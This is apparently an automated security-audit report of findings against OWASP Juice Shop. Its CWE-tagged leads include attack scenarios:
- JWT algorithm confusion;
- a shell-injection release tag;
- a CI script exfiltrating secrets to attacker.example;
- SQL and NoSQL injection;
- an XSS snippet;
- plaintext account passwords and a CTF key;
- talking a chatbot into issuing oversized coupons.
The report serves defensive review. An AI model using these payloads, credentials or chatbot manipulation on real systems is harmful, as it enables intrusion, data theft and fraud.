A bearer token enters the authorization path through utils.jwtFrom(req) at line 156 and is passed to verify(). The two-argument jws.verify(token, publicKey) call at line 55 supplies no fixed algorithm allowlist, so verification follows the algorithm declared in the attacker-controlled JWT header. The exact public-key bytes used as the verification key are publicly returned by GET /encryptionkeys/jwt.pub through server.ts:278 and routes/keyServer.ts:14. An attacker can therefore set alg to HS256, calculate an HMAC signature using the PEM-formatted public key as the shared secret, and place an arbitrary role in the decoded payload; isAccounting() then authorizes solely from that attacker-controlled role. An anonymous attacker can forge role-bearing JWTs by selecting an HMAC algorithm and using the publicly downloadable RSA public key as the HMAC secret. This bypasses role checks such as th…
cwe CWE-347at lib/insecurity.ts:52scenario dast-revalidationmatched on cwe+file
#36highProbed, no verdictstatic + liveRelease tag injects commands into legacy website update [CVSS 7.6: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N]
The red-team run probed this static lead (CWE-78) in .github/workflows/update-news-www-legacy.yml but could not confirm or refute it (inconclusive). Reported as an unverified lead, not a confirmed finding.
The attacker-selected github.event.release.tag_name is expanded directly into the shell source of a single-quoted sed command. There is no allowlist or shell escaping, while Git permits tag characters that can terminate the quote and introduce a Bash command substitution. The command executes after the workflow checks out OWASP/www-project-juice-shop using BOT_TOKEN, and the subsequent auto-commit action commits any injected modifications to that destination repository. A maintainer who can publish a release can execute arbitrary commands in a workflow authenticated to OWASP/www-project-juice-shop. The attacker can use the bot's cross-repository write access to alter the legacy project website repository. An attacker with release-publishing permission publishes a release for the tag v1'$(printf${IFS}PWNED>index.md)'. Bash evaluates the injected command substitution at line 19, creating o…
cwe CWE-78at .github/workflows/update-news-www-legacy.yml:18scenario dast-revalidationmatched on cwe+file
#37criticalStatic leadsource scanLogin query permits authentication bypass [CVSS 9.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N]
Static-analysis lead (CWE-89) in routes/login.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The unauthenticated POST /rest/user/login route is registered at server.ts:596 and passes the parsed request body directly to login(). At routes/login.ts:34, req.body.email is interpolated into a raw SQL statement without parameterization or escaping; hashing the password does not protect the separately injectable email expression. No middleware between body parsing and this query validates the email as a literal address, so SQL comment syntax can remove both the password and deleted-account predicates. The resulting database row is converted to a user and passed to afterLogin(), which issues a valid authentication token at lines 47-48. An anonymous attacker can authenticate as an existing user without knowing that user's password. Using the first returned account can grant admin…
cwe CWE-89at routes/login.ts:32
#38highStatic leadsource scanNull suffix bypass enables Windows file traversal [CVSS 7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]
Static-analysis lead (CWE-22) in routes/fileServer.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The public /ftp/:file endpoint is registered at server.ts:270 and copies the decoded external route parameter into file at routes/fileServer.ts:16. It rejects only literal forward slashes, then checks whether the untrusted string ends in .md or .pdf before canonicalizing it. A payload containing Windows backslash traversal followed by a null byte and an allowed suffix passes both checks. Line 28 subsequently removes everything from the null byte onward, turning the previously allowlisted name into an unrestricted path; line 33 passes that path to path.resolve and sendFile. On Windows, the retained backslashes are separators, so resolution escapes ftp, while no containment or extension check is repeated after the mutation. An anonymous attacker can bypass the public-file extension restriction and read arbitrary service-readable files on Windows deployments. Exposed source, configuration, …
cwe CWE-22at routes/fileServer.ts:16
#39highStatic leadsource scanPassword change skips current-password verification [CVSS 8.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L]
Static-analysis lead (CWE-620) in routes/changePassword.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
HTTP query parameters enter through the Express Request destructuring at line 13 and are assigned to currentPassword, newPassword, and repeatPassword at lines 14-17. The current-password comparison at line 39 is conditional on currentPassword being truthy, so omitting the parameter or supplying an empty string bypasses verification entirely. After only checking that the new password is present and repeated, the handler retrieves the account associated with the bearer token and updates its password at line 51. An attacker holding a valid user session token can replace that user's password without knowing the current password. This converts temporary session compromise into persistent account takeover and can lock the legitimate user out. An attacker who obtains a victim's active bearer token sends a request to the password-change endpoint with the current-password parameter omitted and ma…
cwe CWE-620at routes/changePassword.ts:39
#40highStatic leadsource scanEndpoint exposes complete runtime configuration [CVSS 7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]
Static-analysis lead (CWE-200) in routes/appConfiguration.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
Every request reaching this handler unconditionally clones the entire runtime configuration with config.util.toObject(config). The only redaction removes application.chatBot.llmApiUrl; no allow-list limits the response to settings intended for a browser, and no authentication or authorization check occurs in the handler. The resulting object is passed directly to res.json, so all other configuration branches and values cross the server-to-client trust boundary. An unauthenticated caller can retrieve the service's complete node-config object apart from one explicitly deleted property. This exposes service-wide operational and security configuration, including any deployment-specific sensitive values stored anywhere outside application.chatBot.llmApiUrl, giving attackers information and credentials usable against the deployment. An anonymous attacker sends a GET request to the route regist…
cwe CWE-200at routes/appConfiguration.ts:10
#41highStatic leadsource scanRepository code executes with CI secrets [CVSS 8.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N]
Static-analysis lead (CWE-200) in .github/workflows/ci.yml the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The workflow runs on every non-ignored push, including pushes to unprotected feature branches. The checkout at line 230 loads the attacker's repository-controlled commit, and the Cypress action executes its npm start script at line 245 while the secrets declared at lines 249-253 are present in the step environment. There is no protected-ref check, environment approval, or separation between the untrusted repository code and the secret-bearing step. A collaborator who can push a same-repository branch can exfiltrate the Cypress recording key, solutions webhook, Alchemy API key, and workflow token. Compromise affects the associated external integrations and may also expose repository access granted to the workflow token. A collaborator pushes a branch that changes the start package script to node -e "require('https').get('https://attacker.example/collect?k='+encodeURIComponent(process.env.…
cwe CWE-200at .github/workflows/ci.yml:229
#42highStatic leadsource scanSecurity answer bypass permits unverified erasure requests [CVSS 8.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H]
Static-analysis lead (CWE-620) in routes/dataErasure.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The external HTTP request body, including securityAnswer, enters through the POST handler at line 74. The only security decision is the session lookup at lines 76-80; unlike the GET flow at lines 34-43, the POST flow never retrieves or compares the stored security answer. It immediately creates a deletion request for the session's user at lines 83-86, so an empty or deliberately incorrect answer is accepted. Any authenticated user or attacker holding a valid session token can queue deletion of that account without knowing its security answer. This defeats the intended step-up verification and lets a stolen session cause loss of the victim's account and associated data. An attacker obtains a victim's valid session token and sends POST /dataerasure with that cookie and body {"email":"victim@example.com","securityAnswer":"definitely-wrong"}. The authentication check succeeds, and the server…
cwe CWE-620at routes/dataErasure.ts:74
#43mediumStatic leadsource scanProduction error handler exposes stack traces [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-209) in server.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. All externally supplied request bodies are first parsed as text. When the Content-Type contains application/json, line 323 calls JSON.parse without local error handling, so malformed JSON is forwarded by Express as an error. The application then installs the development-oriented errorhandler() middleware unconditionally at server.ts:682, including in the production application configured from start(). This middleware returns detailed error and stack information to the remote caller rather than a generic response. Anonymous callers can obtain internal stack traces and filesystem paths by submitting malformed input. The disclosed implementation details make subsequent targeted exploitation and environment fingerprinting easier. An anonymous attacker sends a request to a reachable J…
cwe CWE-209at server.ts:314
#44mediumStatic leadsource scanMetrics endpoint is exposed without authentication [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-200) in server.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. server.ts registers GET /metrics at line 729 with no authentication or network restriction. This registration executes independently of the guarded business routes and passes the request directly to metrics.serveMetrics(). A second unauthenticated registration also exists inside configureApp at line 676, so the endpoint remains public regardless of which registration handles the request. Any anonymous caller can retrieve service metrics and infer operational state, request activity, startup behavior, and application-specific metric names. This information helps attackers profile deployment behavior and time subsequent attacks. An unauthenticated attacker sends GET /metrics. The server returns the Prometheus exposition containing process and application metrics. The attacker uses …
cwe CWE-200at server.ts:725
#45mediumStatic leadsource scanAnonymous FTP directory listing exposes hidden files [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-548) in server.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The externally reachable /ftp route is registered without authentication or authorization. At line 269, every request under that path is passed to serve-index, which generates a directory listing from the local ftp directory; the subsequent file-serving route at line 270 lets the attacker retrieve discovered allowlisted files. CORS and Helmet do not restrict direct HTTP access, and the robots.txt disallow directive at line 226 is advisory rather than an access control. An anonymous attacker can enumerate the contents of the server's FTP directory and discover files that were intended to be accessible only when their names were known. This exposes potentially sensitive support, backup, or acquisition documents to every network user. An unauthenticated attacker sends GET /ftp/ and receives an HTML listing of files in the local ftp directory. The attacker identifies acquisitions.md in that …
cwe CWE-548at server.ts:267
#46mediumStatic leadsource scanAnonymous users can modify products [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-862) in server.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
configureApp protects POST /api/Products and denies DELETE /api/Products/:id, but the corresponding authorization middleware for PUT /api/Products/:id is commented out at server.ts:370. Later, finale.resource creates both collection and item endpoints for Product at server.ts:501-507, including the update operation. No subsequent middleware enforces authentication on the generated Product update endpoint, so an external request body reaches the ORM-backed update handler anonymously. An unauthenticated attacker can change product records, including prices and descriptions. This compromises the integrity of the entire product catalog and can enable purchases at attacker-selected prices. An anonymous attacker sends PUT /api/Products/1 with a body such as {"price":0.01,"name":"Compromised product"}. Because the intended security.isAuthorized() middleware is disabled, finale updates product 1…
cwe CWE-862at server.ts:368
#47mediumStatic leadsource scanYAML aliases block the Node.js event loop [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L]
Static-analysis lead (CWE-400) in routes/fileUpload.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The unauthenticated POST /file-upload route passes YAML file bytes to handleYamlUpload. The handler parses attacker-controlled data with yaml.load and immediately applies JSON.stringify inside a VM context. YAML aliases can encode a small, deeply nested object graph whose shared references are expanded repeatedly by JSON.stringify, causing exponential work and allocation. The only mitigation is a 2000 ms VM timeout after the expensive work has begun; there is no alias, nesting, node-count, or expanded-output limit. An anonymous attacker can force the single Node.js event loop to spend approximately two seconds expanding one small YAML upload, delaying all concurrent requests. The VM timeout bounds each invocation but does not prevent repeated single-request computational exhaustion. The attacker uploads bomb.yaml containing a short chain of anchors where each level is an array of ten ali…
cwe CWE-400at routes/fileUpload.ts:101
#48mediumStatic leadsource scanSubstring allowlist permits arbitrary external redirects [CVSS 6.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Static-analysis lead (CWE-601) in routes/redirect.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The public GET /redirect endpoint is registered in server.ts:659 without authentication. Its attacker-controlled query.to value enters at routes/redirect.ts:15 and is passed to security.isRedirectAllowed, which merely checks whether the raw string contains any allowlisted URL at lib/insecurity.ts:133-138. The check neither parses the URL nor verifies its scheme, hostname, port, credentials, or normalized path. Consequently, an allowlisted string can appear in the path or query of an otherwise unrelated URL, after which the original attacker-controlled value is passed unchanged to Express res.redirect at routes/redirect.ts:19. An anonymous attacker can make the trusted Juice Shop origin redirect a victim to any attacker-controlled website. This enables convincing phishing links an…
cwe CWE-601at routes/redirect.ts:13
#49mediumStatic leadsource scanUnbounded image download exhausts server storage [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H]
Static-analysis lead (CWE-400) in routes/profileImageUrlUpload.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
Although the route is wrapped in multer with a 200,000-byte inbound upload limit at server.ts:311 and server.ts:692, that limit does not apply to content fetched from imageUrl. The handler starts fetch() at routes/profileImageUrlUpload.ts:24 without a timeout and pipes the entire response body directly to a filesystem stream at lines 29-30. It performs no Content-Length check, streaming byte limit, content validation, cancellation, or cleanup of partial files. A single attacker-controlled chunked response can therefore continue growing the file until the remote stream closes or local storage is exhausted. An authenticated attacker can consume the application's disk space and hold request resources by supplying a URL that streams an unbounded response. Exhausting the filesystem can prevent uploads, logging, database operations, or normal service operation for all users. An authenticated a…
cwe CWE-400at routes/profileImageUrlUpload.ts:24
#50mediumStatic leadsource scanUsers can edit reviews owned by others [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-639) in routes/updateProductReviews.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
server.ts:634 applies security.isAuthorized(), but that middleware establishes only that some user is authenticated. updateProductReviews() retrieves the authenticated user at line 16 but never uses the identity to constrain or authorize the update. Instead, the database selector at line 18 contains only the caller-controlled review ID, so a valid scalar ID belonging to another author is updated; the subsequent author comparison merely marks a training challenge as solved and does not reject or roll back the modification. Any authenticated customer can alter another customer's review by supplying its ID. This permits cross-user content forgery and destroys the integrity and attribution of product reviews. A customer obtains another review's ID from the public GET /rest/products/:id/reviews endpoint and sends PATCH /rest/products/reviews with {"id":"victim-review-id","message":"This revie…
cwe CWE-639at routes/updateProductReviews.ts:16
#51mediumStatic leadsource scanNoSQL selector updates every product review [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-943) in routes/updateProductReviews.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The externally reachable PATCH route is registered at server.ts:634 with authentication but no request-schema validation. Its JSON body reaches updateProductReviews(), where req.body.id is passed directly to the MarsDB update selector at routes/updateProductReviews.ts:18. Because JSON permits an object rather than the expected scalar ID, an attacker can supply a Mongo-style operator such as {$ne: null}; the unconditional multi: true option at line 20 then applies the attacker-controlled message to every matched review. TypeScript's Request typing provides no runtime validation, and security.isAuthorized() only authenticates the caller. Any authenticated user can overwrite the message of every matching review, including reviews belonging to other users and products. An operator-based selector can corrupt the entire review collection in one request. A customer logs in and sends PATCH /rest…
cwe CWE-943at routes/updateProductReviews.ts:17
#52mediumStatic leadsource scanOrdinary users can enumerate all user profiles [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N]
Static-analysis lead (CWE-862) in routes/authenticatedUsers.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
configureApp protects /rest/user/authentication-details only with security.isAuthorized(), so no administrator or accounting role is required. The route calls UserModel.findAll() without an ownership or role filter and spreads every dataValues property into the response. Although password and totpSecret are overwritten with masking characters, other sensitive user fields remain serialized and are returned to the low-privilege caller. Any authenticated customer can retrieve records for every user in the service, including email addresses, roles, activity state, login IPs, profile data, and deluxe tokens. This creates a service-wide privacy exposure and can disclose role and account metadata useful for targeted attacks. An attacker registers a normal customer account, logs in, and sends GET /rest/user/authentication-details with the resulting token. UserModel.findAll() returns the entire U…
cwe CWE-862at routes/authenticatedUsers.ts:10
#53mediumStatic leadsource scanArbitrary field selection exposes credential material [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N]
Static-analysis lead (CWE-200) in routes/currentUser.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
GET /rest/user/whoami accepts the attacker-controlled fields query parameter. When the token cookie verifies, each requested string is used directly as a key into user.data, and every defined value is copied into baseUser without an allow-list. The resulting object is returned with res.json or framework-encoded JSONP; the default response's omission of password is therefore bypassed by requesting it explicitly. Any authenticated user can retrieve normally hidden fields from their complete User model, including the password hash and TOTP secret. Disclosure of these values enables offline password attacks and compromises the confidentiality of the user's second-factor seed. A logged-in attacker requests GET /rest/user/whoami?fields=id,email,password,totpSecret with their token cookie. The handler copies user.data.password and user.data.totpSecret into the response. The attacker can retain …
cwe CWE-200at routes/currentUser.ts:20
#54mediumStatic leadsource scanMutable actions receive repository write capability [CVSS 6.9: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N]
Static-analysis lead (CWE-829) in .github/workflows/image_actions.yml the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The workflow references actions/checkout@v6, calibreapp/image-actions@main, and peter-evans/create-pull-request@v8 rather than immutable commit SHAs. In particular, code fetched from the attacker-movable calibreapp/image-actions@main ref executes at line 33 and receives secrets.GITHUB_TOKEN at line 35. The workflow then executes another mutable action intended to create branches and pull requests at line 42. The same-repository PR restriction at lines 24-27 prevents fork PR code from receiving this capability, but it does not mitigate compromise or retargeting of the mutable action refs, violating supply-chain integrity and least privilege. A compromised action publisher can replace code behind a mutable tag and execute it in the repository's image workflow. The malicious action can access the supplied GitHub token, alter the workspace, and abuse the subsequent pull-request creation step…
cwe CWE-829at .github/workflows/image_actions.yml:29
#55mediumStatic leadsource scanUnversioned Playwright install can overwrite master [CVSS 6.9: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L]
Static-analysis lead (CWE-829) in .github/workflows/frontend-bundle-analysis.yml the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The tag-triggered and manually dispatched workflow checks out the repository with the default persist-credentials: true behavior at line 17. It then runs npm install playwright without a version or --ignore-scripts; because .npmrc disables lockfiles, npm resolves the current registry version and executes its dependency lifecycle scripts. The same job later successfully performs git push origin master at line 66, demonstrating that the checkout credential is intended to have write access. Malicious install-time code can use that credential directly before the screenshot commit step and is not restricted to modifying the generated report. A compromised npm publisher can execute arbitrary code in a workflow that has a persisted GitHub checkout credential and is intended to push directly to master. This permits repository tampering that can subsequently enter release archives and production …
cwe CWE-829at .github/workflows/frontend-bundle-analysis.yml:39
#56mediumStatic leadsource scanUnvalidated seed data can create administrators [CVSS 6.3: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N]
Static-analysis lead (CWE-20) in data/staticData.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
loadStaticData parses data/static/users.yml and loadStaticUserData then type-casts the unvalidated runtime value to StaticUser[]. TypeScript's cast provides no runtime validation of role, password, email, or object structure. createUsers consumes these values directly and passes the attacker-selected role and password to UserModel.create at data/datacreator.ts:193-202. The Zod configuration validation does not cover these static YAML files, so no allowlist, signature, or trusted provenance check prevents a writable shared seed file from introducing a new administrator. A lower-privileged principal able to alter a shared static-data mount can seed an attacker-controlled administrator account. After the next startup, the attacker can authenticate remotely with that account and obtain application-wide administrative privileges. An attacker with write access to a shared data/static/users.yml…
cwe CWE-20at data/staticData.ts:55
#57mediumStatic leadsource scanApplication name injects executable HTML [CVSS 5.4: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N]
Static-analysis lead (CWE-79) in lib/startup/customizeApplication.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The application.name configuration value is read at line 84 and directly interpolated between title tags without HTML encoding. The resulting string is written into frontend/dist/frontend/index.html by replace at lines 85-90, and that file is subsequently served as the SPA entry point. ValidationSchema only requires application.name to be a string, so markup and script-closing sequences pass startup validation unchanged. This is an output-side injection from customization configuration into an executable HTML response. A lower-privileged principal able to modify a shared or mounted customization configuration can inject JavaScript into the application's main HTML document. The script executes for every user who loads the application, allowing session-token theft and actions under victims' accounts. A principal who can modify the shared custom YAML sets application.name to </title><script…
cwe CWE-79at lib/startup/customizeApplication.ts:83
#58mediumStatic leadsource scanAnonymous callers can forge product reviews [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-862) in routes/createProductReviews.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The PUT /rest/products/:id/reviews route is registered at server.ts:633 without security.isAuthorized(). The handler looks up an authenticated user at line 16 but uses the result only to mark a training challenge; it neither rejects a missing user nor verifies that req.body.author matches the authenticated identity. Attacker-controlled req.params.id, req.body.message, and req.body.author are inserted directly into reviewsCollection at lines 23-29. The Angular UI's localStorage check and 160-character form limit are client-side only and can be bypassed by direct HTTP requests. Any anonymous caller can publish reviews under an arbitrary person's email address for any product. This permits impersonation and persistent manipulation of the review system, affecting the integrity and reputation of users and the entire catalog. An anonymous attacker sends PUT /rest/products/1/reviews with Conten…
cwe CWE-862at routes/createProductReviews.ts:14
#59mediumStatic leadsource scanUnverified JWT controls chatbot order identity [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-347) in routes/chat.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The public POST /rest/chat route accepts a token through utils.jwtFrom(req). getUserId() calls security.decode(), which uses jws.decode without verifying the signature, and trusts the resulting data.id. getOrderById then loads the email for that attacker-selected ID and compares its masked form to the requested order's email. Because the identity used by the ownership check came from an unsigned token payload, the comparison authenticates the attacker as the selected victim rather than as the actual token holder. An anonymous attacker who knows a victim's numeric user ID and an order ID can make the chatbot retrieve that victim's order. Order details are returned to the model and can be disclosed in its streamed response. The attacker sends Authorization: [REDACTED-BEARER]. and asks the chatbot for a known order ID belonging to user 1. The unsigned token is decoded as user ID 1, so getOr…
cwe CWE-347at routes/chat.ts:42
#60mediumStatic leadsource scanCoupon policy enforced only by the LLM [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-862) in routes/chat.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The unauthenticated POST /rest/chat route at server.ts:638 accepts attacker-controlled conversation messages. routes/chat.ts:191 passes those messages directly to the model, which is given access to generateCoupon. Although the system prompt tells the model to require a damaged order, a rejected return, and a maximum 10% discount, execute() performs none of those authorization or business-rule checks and passes any model-supplied number directly to security.generateCoupon(). Zod only verifies that discount is a number; it imposes no maximum, and no authenticated user, qualifying order, or prior return rejection is required. An anonymous attacker can induce the chatbot to generate valid coupons with discounts exceeding the documented 10% limit. The generated coupon is accepted by the application's coupon decoder, causing direct revenue loss on purchases. An anonymous attacker posts messag…
cwe CWE-862at routes/chat.ts:176
#61mediumStatic leadsource scanDefault deployment exposes credentials over plain HTTP [CVSS 6.8: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N]
Static-analysis lead (CWE-319) in server.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The production entry point registers the login endpoint at server.ts:596, which accepts attacker-observable email and password data and returns an authentication token. The application is constructed exclusively with Node's HTTP server at server.ts:130-131 and that server is bound directly at server.ts:743. The Docker image exposes port 3000, while config/default.yml:4 advertises an HTTP base URL; no TLS listener, HTTPS enforcement, or HSTS middleware exists in this slice. Consequently, users who access the default published container port send credentials and receive reusable JWTs in plaintext. An attacker on the network path can intercept login credentials and issued JWTs, then impersonate affected users. The default container exposes this plaintext service on port 3000 without an application-level HTTPS redirect or transport protection. A victim opens http://shop.example:3000 and subm…
cwe CWE-319at server.ts:130
#62mediumStatic leadsource scanBender account password exposed client-side [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-798) in frontend/src/hacking-instructor/challenges/loginBender.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The browser tutorial embeds Bender's email at line 78 and passes the exact password OhG0dPlease1nsertLiquor! to a client-side comparison helper at line 84. Although the password is used as a value the tutorial asks the user not to enter, it remains a plaintext literal in the downloadable JavaScript bundle. An attacker can pair both values and submit them directly to the public login endpoint without any intervening validation or authorization control. An anonymous attacker can recover Bender's complete account credentials and log in without exploiting the intended SQL injection challenge. This results in takeover of that user's account and access to its account-scoped data and actions. An anonymous attacker downloads the frontend bundle and extracts bender@juice-sh.op and OhG0dPlease1nsertLiquor!. They send both values to POST /rest/user/login. The service returns a session authenticated…
cwe CWE-798at frontend/src/hacking-instructor/challenges/loginBender.ts:75
#63mediumStatic leadsource scanJim account password exposed client-side [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-798) in frontend/src/hacking-instructor/challenges/loginJim.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The tutorial embeds Jim's email jim@juice-sh.op at line 67 and the exact password ncc-1701 at line 73. The password is passed to a browser-side helper only as a forbidden tutorial value, but it is still emitted verbatim into the compiled JavaScript. Because the frontend bundle is public and the login endpoint is externally reachable, an attacker can use the disclosed pair directly. An anonymous attacker can extract Jim's complete credentials from the public frontend code and authenticate as that user. This exposes the account's private data and permits actions under Jim's identity. An anonymous attacker searches the frontend bundle for ncc-1701 and finds it beside Jim's tutorial. They submit {"email":"jim@juice-sh.op","password":"[REDACTED-SECRET]"} to POST /rest/user/login. The application authenticates the attacker as Jim. - The attacker can access the publicly served frontend assets -…
cwe CWE-798at frontend/src/hacking-instructor/challenges/loginJim.ts:64
#64mediumStatic leadsource scanCAPTCHA response discloses its answer [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-200) in routes/captcha.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The externally reachable CAPTCHA handler generates the expected answer at line 22, includes it in the captcha object at line 27, and serializes the entire object with res.json(captcha) at line 31. No response projection or other protection removes the answer before it crosses the trust boundary. The verifier later accepts that disclosed value through req.body.captcha, so a client can copy the server-provided answer without solving the challenge. An anonymous attacker can read the correct CAPTCHA answer directly from the API response and automatically pass every CAPTCHA check. This defeats CAPTCHA-based anti-automation controls for all users and operations relying on this verifier. The attacker requests a CAPTCHA and receives a response such as {"captchaId":42,"captcha":"2+34","answer":"14"}. They submit {"captchaId":42,"captcha":"14"} to an operation using verifyCaptcha. The comparison s…
cwe CWE-200at routes/captcha.ts:22
#65mediumStatic leadsource scanSolved CAPTCHAs remain valid for unlimited reuse [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-294) in routes/captcha.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
Attacker-controlled captchaId and captcha values enter through the request body at routes/captcha.ts:37-38. The security decision at line 38 merely checks that a matching database record exists and that the answer matches. On success, line 39 invokes the protected handler but neither deletes the record nor marks it consumed, so the same externally supplied pair remains valid for later requests, including concurrent requests that all complete the same check before any possible external cleanup. An attacker who obtains one valid CAPTCHA answer can reuse it for multiple CAPTCHA-protected requests. Automated abuse can therefore continue without obtaining or solving a fresh challenge for each protected action. The attacker obtains CAPTCHA ID 42 and its valid answer 14, then sends the body {"captchaId":42,"captcha":"14"} repeatedly or concurrently to a protected action. Every request finds the…
cwe CWE-294at routes/captcha.ts:35
#66mediumStatic leadsource scanFailed requests satisfy global anti-cheat checks [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-345) in lib/antiCheat.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The Express middleware accepts the externally controlled Request.url at line 51 and checks only whether it ends with a configured fragment. On a suffix match, line 55 permanently sets the corresponding global interactions element to true without verifying authentication, user identity, route selection, response status, or whether the requested resource was actually accessed. calculateCheatScore() later consumes these booleans at lines 83-88 and removes the missing-interaction penalty. Because arbitrary 404 paths can have the expected suffix and the array is shared by all requests, an anonymous caller can forge interaction history for themselves or every other user of the instance. An anonymous attacker can make fabricated, unsuccessful requests count as expected challenge interactions, reducing anti-cheat scores for later challenge solves. The state is global rather than user-scoped, so …
cwe CWE-345at lib/antiCheat.ts:51
#67mediumStatic leadsource scanCommitted CTF key permits flag forgery [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-321) in ctf.key the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The cryptographic CTF key is stored in plaintext at ctf.key:1. Gruntfile.js:40 explicitly includes that file in every generated Juice Shop distribution, so deployments and public source consumers all receive the same value rather than a deployment-specific secret. An anonymous participant can use the known key with the Juice Shop CTF flag-generation process to calculate challenge answers without solving the challenges. Anyone with repository or release-package access can derive valid challenge flags for CTF deployments that retain this default key. This compromises the integrity of every challenge and scoreboard using the bundled key. A CTF organizer deploys Juice Shop and generates challenge flags using the bundled key. A participant obtains TRwzkRJnHOTckssAeyJbysWgP!Qc2T from the public repository or release archive, supplies it to the compatible flag generator, and submits the resulti…
cwe CWE-321at ctf.key:1
